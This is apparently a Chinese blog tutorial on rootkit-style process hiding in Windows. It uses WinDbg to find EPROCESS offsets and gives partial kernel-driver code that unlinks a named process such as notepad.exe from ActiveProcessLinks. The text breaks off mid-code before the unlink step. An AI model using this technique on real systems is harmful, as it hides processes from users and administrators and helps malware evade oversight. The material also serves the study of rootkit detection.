首先,我们知道,进程体EPROCESS是被系统维护在一个双向链表LIST_ENTRY中的,那么,我们只要把进程的EPROCESS从这个链表中摘除,就可以实现进程隐藏了,当然,这只能瞒过进程管理器和zwQuerySystemInformation,暴力枚举依旧可以发现断链隐藏的进程,因为进程体还在内存中,这个以后再说。
要隐藏我们指定的某个进程,我们肯定需要遍历整个EPROCESS链表, 当EPROCESS对应的进程名与 我们所指定的进程的进程名一样时,我们就把该EPROCESS从链表中移除。
这里。我们遇到两个问题,:
1.既然要遍历链表,我们就要知道每个结构的前后结构;
2.既然要对比进程名,我们就要知道进程名放在哪个地方;
以上两个问题,借助Windbg,我们就可以解决
下面我们以x86为例:
在windbg中,我们先看一下EPROCESS的结构,输入命令dt _EPROCESS,可以发现在偏移0x88处,有一个变量ActiveProcessLinks,它的类型为LIST_ENTRY
在输入命令dt _LIST_ENTRY,查看LIST_ENTRY的结构,可以看到变量FLink和BLink,FLink指向当前节点的后一个节点的ActiveProcessLinks地址,BLink指向当前结点的前一个节点的ActiveProcessLinks地址
继续往下,我们可以看到在偏移0x174处,出现了ImageFileName,这里存的就是我们要找的进程名
下面我们切入一个进程实际看一下 输入命令!process 0 0,就可以显示所有进程信息
然后,输入命令dt _EPROCESS 895d6da0就可以切入进程smss.exe了
smss.exe的后一个结点的 ActiveProcessLinks就放在地址0x89a6d778中,用dd 0x89a6d778命令查看地址0x89a6d778中的内容,
注意,因为FLink指向当前节点的后一个节点的ActiveProcessLinks地址,所以后一个节点的EPROCESS地址为ActiveProcessLinks地址减去FLink偏移0x88
然后就可以找到smss.exe的下一个进程winlogon.exe了,这就印证了上面的截图中看到smss.exe的下一个进程是winlogon.exe
这样,我们就解决了我们所遇到的问题,对于x64,方法是一样的,读者可以自行练习。代码如下:
1 #ifndef CXX_HIDEPROCESS_H
2 # include "HideProcess.h"
3 #endif
4
5
6 ULONG_PTR ActiveOffsetPre = 0;
7 ULONG_PTR ActiveOffsetNext = 0;
8 ULONG_PTR ImageName = 0;
9 WIN_VERSION WinVersion = WINDOWS_UNKNOW;
10
11 PLIST_ENTRY Temp = NULL;
12 PLIST_ENTRY HeadEntry = NULL;
13 NTSTATUS
14 DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)
15 {
16
17
18 DbgPrint("DriverEntry\r\n");
19
20 DriverObject->DriverUnload = UnloadDriver;
21
22
23 WinVersion = GetWindowsVersion();
24
25
26 switch(WinVersion)
27 {
28 case WINDOWS_XP: //32Bits
29 {
30
31 ActiveOffsetPre = 0x8c;
32 ActiveOffsetNext = 0x88;
33 ImageName = 0x174;
34 break;
35 }
36
37 case WINDOWS_7: //64Bits
38 {
39 ActiveOffsetPre = 0x190;
40 ActiveOffsetNext = 0x188;
41 ImageName = 0x2e0;
42 break;
43 }
44 }
45
46
47 HideProcess("notepad.exe");
48
49 HeadEntry = (PLIST_ENTRY)((ULONG_PTR)PsGetCurrentProcess()+ActiveOffsetNext);// 在DriverEntry中执行得到的才是System进程
50
51 return STATUS_SUCCESS;
52
53 }
54
55 VOID HideProcess(char* ProcessName)
56 {
57 PEPROCESS EProcessCurrent = NULL;
58 PEPROCESS EProcessPre = NULL;
59
60
61 EProcessCurrent = PsGetCurrentProcess(); //System EProcess
62
63
64
65 EProcessPre = (PEPROCESS)((ULONG_PTR)(*((ULONG_PTR*)((ULONG_PTR)EProcessCurrent+ActiveOffsetPre)))-ActiveOffsetNext);
66
67 //DbgPrint("EProcessCurrent: 0x%p\r\n",EProcessCurrent);
68
69 //DbgPrint("EProcessNext: 0x%p\r\n",EProcessNext);
70
71
72
73 while (EProcessCurrent!=EProcessPre)
74 {
75 // DbgPrint("%s\r\n",(char*)((ULONG_PTR)EProcessCurrent+ImageName));
76
77
78 if(strcmp((char*)((ULONG_PTR)EProcessCurrent+ImageName),ProcessName)==0)
79 {
80
81
82 Temp = (PLIST_ENTRY)((ULONG_PTR)EProcessCurrent+ActiveOffsetNext);
83
84 if (MmIsAddressValid(Temp))
85 {
86 // Temp->Blink->Flin